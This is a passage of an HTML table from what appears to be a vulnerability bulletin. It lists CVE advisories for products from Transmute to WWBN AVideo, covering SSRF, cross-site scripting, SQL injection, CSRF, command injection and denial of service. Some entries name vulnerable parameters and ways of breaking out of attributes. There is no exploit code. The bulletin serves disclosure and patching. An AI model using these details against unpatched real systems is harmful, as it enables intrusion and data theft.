&lt;td&gt;Transmute is a free, open-source, self-hosted file conversion and compression tool. Prior to version 1.3.0, Transmute&#039;s URL import endpoint, `POST /api/files/url`, is vulnerable to Server-Side Request Forgery (SSRF). The HTTP downloader used by this endpoint fetches user-supplied URLs with redirects enabled and does not validate whether the target resolves to a public, external address. As a result, an authenticated user (or guest user if they are enabled) may be able to cause the Transmute server to make HTTP requests to internal or cloud-local resources from the server&#039;s network position. Because downloaded content is stored and can later be retrieved through `GET /api/files/{id}`, this issue can result in full-read SSRF rather than blind SSRF. This is fixed in version 1.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54054&quot; target=&quot;_blank&quot;&gt;CVE-2026-54054&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TUBITAK BILGEM Software Technologies Research Institute--Pardus About&lt;/td&gt;
&lt;td&gt;Missing Authorization vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus About allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Pardus About: from 1.2.1 before 1.2.5.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8304&quot; target=&quot;_blank&quot;&gt;CVE-2026-8304&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;unitecms--Unlimited Elements For Elementor&lt;/td&gt;
&lt;td&gt;The Unlimited Elements For Elementor plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via &#039;data[name]&#039; Parameter in all versions up to, and including, 2.0.16 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. The show_preview AJAX action is registered for unauthenticated users and is gated only by a nonce, which an unauthenticated attacker can retrieve by loading any publicly accessible page that emits it.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77150&quot; target=&quot;_blank&quot;&gt;CVE-2026-77150&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;usmannasir--cyberpanel&lt;/td&gt;
&lt;td&gt;CyberPanel versions 2.4.3 through 2.4.5 expose unauthenticated AI Scanner debugging endpoints that disclose administrator usernames, API-key prefixes, scan identifiers, target domains, and account metadata. Unauthenticated attackers can enumerate panel administrators and recent scanner activity to inventory multi-tenant installations and facilitate follow-on attacks.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87820&quot; target=&quot;_blank&quot;&gt;CVE-2026-87820&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vgmstream--vgmstream&lt;/td&gt;
&lt;td&gt;A weakness has been identified in vgmstream up to r2117. This issue affects the function sscanf of the file src/meta/txth.c of the component txth-txtp. This manipulation causes stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. Patch name: 4669d37a6af94866f6f0628678f9f90d46954e8b. To fix this issue, it is recommended to deploy a patch.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86514&quot; target=&quot;_blank&quot;&gt;CVE-2026-86514&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vgmstream--vgmstream&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in vgmstream up to r2117. Impacted is the function add_entry of the file src/meta/txtp_parser.c of the component txtp. Such manipulation of the argument range_start/range_end leads to resource consumption. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The name of the patch is 4b6a02dd1aff6428255db912563d77d4cb0a143e. It is advisable to implement a patch to correct this issue.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86515&quot; target=&quot;_blank&quot;&gt;CVE-2026-86515&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;VideoLAN--VLC media player&lt;/td&gt;
&lt;td&gt;Certain VLC media player builds in versions 3.0.0 through 3.0.23 contain a memory-safety vulnerability reachable when processing media from an attacker-controlled network source. Exploitation requires user interaction and may disclose a limited, layout-dependent amount of VLC process memory. Exposure depends on build configuration.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73324&quot; target=&quot;_blank&quot;&gt;CVE-2026-73324&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Visual Composer--Visual Composer Website Builder&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in Visual Composer Website Builder &amp;lt;= 45.16.1 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62138&quot; target=&quot;_blank&quot;&gt;CVE-2026-62138&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vLLM&lt;/td&gt;
&lt;td&gt;vLLM versions &amp;gt;=0.10.2 and &amp;lt;0.28.0 do not apply any audio decode-size or duration limit when extracting audio from video input for NanoNemotronVL models. In nano_nemotron_vl.py, _extract_audio_from_videos calls load_audio_pyav(BytesIO(video_bytes)) without the max_duration_s or max_decode_bytes parameters, so neither VLLM_MAX_AUDIO_DECODE_DURATION_S nor VLLM_MAX_AUDIO_DECODE_BYTES is enforced (unlike the direct audio upload path in AudioMediaIO). When a NanoNemotronVL model is served with use_audio_in_video=True, an attacker who supplies a small, highly compressed video as multimodal input can force the server to allocate gigabytes of memory during audio decoding, resulting in a denial of service. Fixed in vLLM 0.28.0.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90554&quot; target=&quot;_blank&quot;&gt;CVE-2026-90554&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vLLM&lt;/td&gt;
&lt;td&gt;vLLM versions before 0.28.0 fail to validate audio sample rate headers in the transcription endpoint, allowing authenticated clients to bypass duration checks. Attackers can submit forged FLAC headers with inflated sample rates to trigger excessive memory allocation and crash the API server process affecting all tenants.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90555&quot; target=&quot;_blank&quot;&gt;CVE-2026-90555&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vsourz1td--Advanced Contact form 7 DB&lt;/td&gt;
&lt;td&gt;The Advanced Contact form 7 DB plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.1.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with custom-level access and above, to import forged CSV submission records into any Contact Form 7 form managed by the plugin.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18594&quot; target=&quot;_blank&quot;&gt;CVE-2026-18594&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vvbbnn00--WARP-Clash-API&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in vvbbnn00 WARP-Clash-API up to c7bf2360073959861219b422e51ae86411051b46. Affected is the function get_surge_subscription of the file services/subscription.py of the component Subscription Handler. Such manipulation of the argument key leads to improper access controls. The attack may be launched remotely. The exploit is publicly available and might be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90507&quot; target=&quot;_blank&quot;&gt;CVE-2026-90507&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vvbbnn00--WARP-Clash-API&lt;/td&gt;
&lt;td&gt;A vulnerability was found in vvbbnn00 WARP-Clash-API up to c7bf2360073959861219b422e51ae86411051b46. This affects the function doUpdateLicenseKey. The manipulation results in race condition. The attack can be launched remotely. The attack requires a high level of complexity. The exploitability is reported as difficult. The exploit has been made public and could be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90505&quot; target=&quot;_blank&quot;&gt;CVE-2026-90505&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vvbbnn00--WARP-Clash-API&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in vvbbnn00 WARP-Clash-API up to c7bf2360073959861219b422e51ae86411051b46. This impacts an unknown function of the component Save Account Job. This manipulation causes race condition. The attack may be initiated remotely. The attack&#039;s complexity is rated as high. The exploitability is said to be difficult. The exploit has been publicly disclosed and may be utilized. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90506&quot; target=&quot;_blank&quot;&gt;CVE-2026-90506&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;webgjc--web_robot&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in webgjc web_robot 2.4.0/2.5.0/2.8.0. The affected element is the function controller_listen/controller_recover of the file py/web.py. The manipulation of the argument case_name leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90492&quot; target=&quot;_blank&quot;&gt;CVE-2026-90492&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Webkul--QloApps&lt;/td&gt;
&lt;td&gt;QloApps through 1.7.0 renders back-office list filter POST parameters into HTML input value attributes without escaping them in the list helper template. Attackers can induce authenticated users to submit crafted POST requests with malicious payloads to list controllers, executing arbitrary JavaScript in the victim&#039;s session to read administrative data and perform actions.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89268&quot; target=&quot;_blank&quot;&gt;CVE-2026-89268&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Wings3D--WIngs3D v.2.4.1&lt;/td&gt;
&lt;td&gt;An issue in WIngs3D v.2.4.1 allows a local attacker to cause a denial of service via a crafted Wavefront OBJ file&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-39020&quot; target=&quot;_blank&quot;&gt;CVE-2026-39020&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;woobewoo--Product Filter for WooCommerce by WBW&lt;/td&gt;
&lt;td&gt;The Product Filter for WooCommerce by WBW plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the &#039;wpf_fid&#039; parameter in all versions up to, and including, 3.4.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. Exploitation requires the crafted request to target a page where a filter using the vulnerable recalculation output is present.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7804&quot; target=&quot;_blank&quot;&gt;CVE-2026-7804&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Chill--Passster&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in Passster &amp;lt;= 4.3.13 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62114&quot; target=&quot;_blank&quot;&gt;CVE-2026-62114&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Express Checkout--WP Express Checkout&lt;/td&gt;
&lt;td&gt;The WP Express Checkout WordPress plugin before 2.5.0 does not verify server-side that a payment was actually completed before marking an order as paid, allowing unauthenticated users to forge a completed order without paying.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83537&quot; target=&quot;_blank&quot;&gt;CVE-2026-83537&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpdesk--Flexible Quantity Measurement Price Calculator for WooCommerce&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in Flexible Quantity - Measurement Price Calculator for WooCommerce &amp;lt;= 2.3.21 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62136&quot; target=&quot;_blank&quot;&gt;CVE-2026-62136&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WPML--WPML Multilingual CMS&lt;/td&gt;
&lt;td&gt;The WPML Multilingual CMS plugin for WordPress is vulnerable to time-based SQL Injection via the &#039;elementIds&#039; parameter in all versions up to, and including, 4.9.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This vulnerability is exploitable due to an authorization bypass where the registered authorization callback fails to execute, allowing any authenticated user regardless of role to access administrative translation functionalities.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17509&quot; target=&quot;_blank&quot;&gt;CVE-2026-17509&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wproyal--Royal Addons for Elementor Addons and Templates Kit for Elementor&lt;/td&gt;
&lt;td&gt;The Royal Addons for Elementor - Addons and Templates Kit for Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.7.1066 via the &#039;wpr_keyword&#039; parameter. This makes it possible for unauthenticated attackers to extract arbitrary postmeta values from all published posts via character-by-character substring matching across the entire wp_postmeta table. The required nonce is emitted publicly via wp_localize_script on any frontend page that loads a Royal Elementor widget, meaning no authenticated session or prior action is needed to obtain it.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17585&quot; target=&quot;_blank&quot;&gt;CVE-2026-17585&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WSO2--WSO2 API Control Plane&lt;/td&gt;
&lt;td&gt;The product&#039;s web portals allow external links to be opened in a new browser tab. In certain configurations, the originating window retains access to the newly opened page, allowing interaction between the two browser contexts when navigating to external destinations. This vulnerability could allow an attacker to manipulate the original trusted application window after a user clicks a malicious external link. This manipulation can lead to users being redirected to phishing pages, enabling credential theft, or facilitating other unauthorized actions within the context of the trusted site.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3096&quot; target=&quot;_blank&quot;&gt;CVE-2026-3096&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a cross-site request forgery vulnerability in plugin/YPTWallet/view/saveBalance.php that allows attackers to set arbitrary wallet balances by relying only on session cookies without token validation. Attackers can craft a malicious webpage that, when loaded by an administrator, submits a POST request to modify any user&#039;s wallet balance to any value.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86724&quot; target=&quot;_blank&quot;&gt;CVE-2026-86724&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through 29.0 contains an information disclosure vulnerability in restreamsActive.json.php that allows authenticated streamers to enumerate source stream keys and identities of all other streamers&#039; active restreams. The endpoint fails to filter results by user ownership, exposing sensitive transmission credentials and streamer identity across all accounts to any user with streaming capability.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86726&quot; target=&quot;_blank&quot;&gt;CVE-2026-86726&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a reflected cross-site scripting vulnerability in the showAlertMessage() function that inserts the raw Referer header into a JavaScript comment without encoding. Attackers can craft a Referer header containing */ to close the comment and inject arbitrary JavaScript that executes in the site origin for visitors arriving from the attacker-controlled page.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89239&quot; target=&quot;_blank&quot;&gt;CVE-2026-89239&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a reflected cross-site scripting vulnerability in plugin/Live/confirmLivePassword.php. The script interpolates the unauthenticated GET parameter u (which is not covered by $securityFilter) directly into an &amp;lt;img src=&quot;...&quot;&amp;gt; attribute without URL- or HTML-encoding. A remote attacker can craft a link containing a double-quote character in u (with a non-empty key parameter and no valid c parameter) to close the src attribute and inject an additional tag with an onerror handler, executing arbitrary JavaScript in the site&#039;s origin in the browser of any user, including an administrator, who opens the link. No patched version was available at the time of the advisory.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89240&quot; target=&quot;_blank&quot;&gt;CVE-2026-89240&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a reflected cross-site scripting vulnerability in confirmLivePassword.php that copies REQUEST_URI into a form action attribute without encoding. Attackers can craft a malicious URL with a quote character to break out of the action attribute and inject event handlers that execute in the victim&#039;s browser within the site origin.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89241&quot; target=&quot;_blank&quot;&gt;CVE-2026-89241&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a reflected cross-site scripting vulnerability in plugin/Gallery/view/Category.php when SubCategorys is enabled. The getBackURL parameter is echoed into an href attribute without HTML encoding, allowing attackers to inject malicious scripts that execute in visitors&#039; browsers when they interact with the Back control.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89244&quot; target=&quot;_blank&quot;&gt;CVE-2026-89244&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a cross-site request forgery vulnerability in playlistRemove.php that allows attackers to delete playlists by skipping CSRF protection checks. Attackers can craft a malicious form that submits a POST request to playlistRemove.php, causing a victim&#039;s playlist to be deleted when they visit the attacker&#039;s page while logged in.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89245&quot; target=&quot;_blank&quot;&gt;CVE-2026-89245&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo at commit c3edcc274c389816d434acadac07ee78eaf330c1 and earlier contains an XML injection vulnerability in plugin/AD_Server/VMAP.php, which is reachable without authentication when the AD_Server plugin is enabled. The script emits Content-Type: application/xml and writes the timeOffset and idTag values returned by AD_Server::getVMAPSFromRequest() directly into VMAP attributes without encoding. Those values originate from the base64- and JSON-decoded $_REQUEST[&#039;vmaps&#039;] parameter, which is not covered by $securityFilter in objects/security.php. A remote attacker can craft a vmaps value (containing a non-empty VAST.campaing entry) and induce a user to open the resulting VMAP URL or a video page using it, injecting arbitrary &amp;lt;vmap:AdBreak&amp;gt; and &amp;lt;vmap:AdTagURI&amp;gt;/AdSource nodes into the generated XML. The player&#039;s IMA path (afterVideoJS -&amp;gt; PlayerSkins::setIMAADTag) then requests the attacker-supplied ad URLs, resulting in ad injection and cross-origin requests from the victim&#039;s playback session. The issue was unfixed at the time of reporting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89247&quot; target=&quot;_blank&quot;&gt;CVE-2026-89247&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate ad impressions in plugin/AD_Server/log.php, allowing logged-in users to submit arbitrary label values that trigger unverified wallet credits to campaign video owners. Attackers can repeatedly POST label=start requests to mint YPTWallet balance for any campaign video without proof an ad actually played.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89251&quot; target=&quot;_blank&quot;&gt;CVE-2026-89251&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to verify ownership in addLiveLink.php when updating LiveLinks, allowing authenticated users to modify other users&#039; links. A canStream user can overwrite another user&#039;s LiveLink HLS source and metadata by supplying an existing linkId, redirecting viewers to attacker-controlled media.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89252&quot; target=&quot;_blank&quot;&gt;CVE-2026-89252&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 (master) contains a cross-site request forgery vulnerability in the CustomizeUser plugin endpoint plugin/CustomizeUser/swapUser.json.php. The endpoint takes users_id from $_REQUEST and invokes User::swapUser() without calling forbidIfNotPost() or forbidIfInvalidToken(), and the global autoCSRFGuard() check only runs for POST requests to *.json.php, so the action is reachable via GET. An attacker who causes an authenticated administrator&#039;s browser to issue a cross-origin GET (for example via an &amp;lt;img&amp;gt; tag or link) can replace that administrator&#039;s session with a non-admin user account, causing the administrator to lose administrative access until the swap is cancelled; swapping to another administrator account is rejected, so this is not privilege escalation. The JSON response also discloses the session_id. The CustomizeUser plugin is enabled by default, and no patch was available at the time of publication.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86719&quot; target=&quot;_blank&quot;&gt;CVE-2026-86719&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
&lt;td&gt;AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains an open redirect in objects/playlistSort.php. Because the endpoint is not a *.json.php script, AVideo&#039;s automatic CSRF guard (autoCSRFGuard()/forbidIfIsUntrustedRequest()) does not run, and when the request includes the sort parameter the script issues a Location header set to the unvalidated $_SERVER[&#039;HTTP_REFERER&#039;] value without calling isSafeRedirectURL(). A remote unauthenticated attacker can therefore induce a logged-in user who can manage the targeted playlist to submit a cross-origin POST with a crafted Referer, causing the victim&#039;s playlist to be reordered and the victim&#039;s browser to be redirected from a trusted AVideo URL to an attacker-controlled site for phishing. No patched version is available.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89148&quot; target=&quot;_blank&quot;&gt;CVE-2026-89148&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WWBN--AVideo&lt;/td&gt;
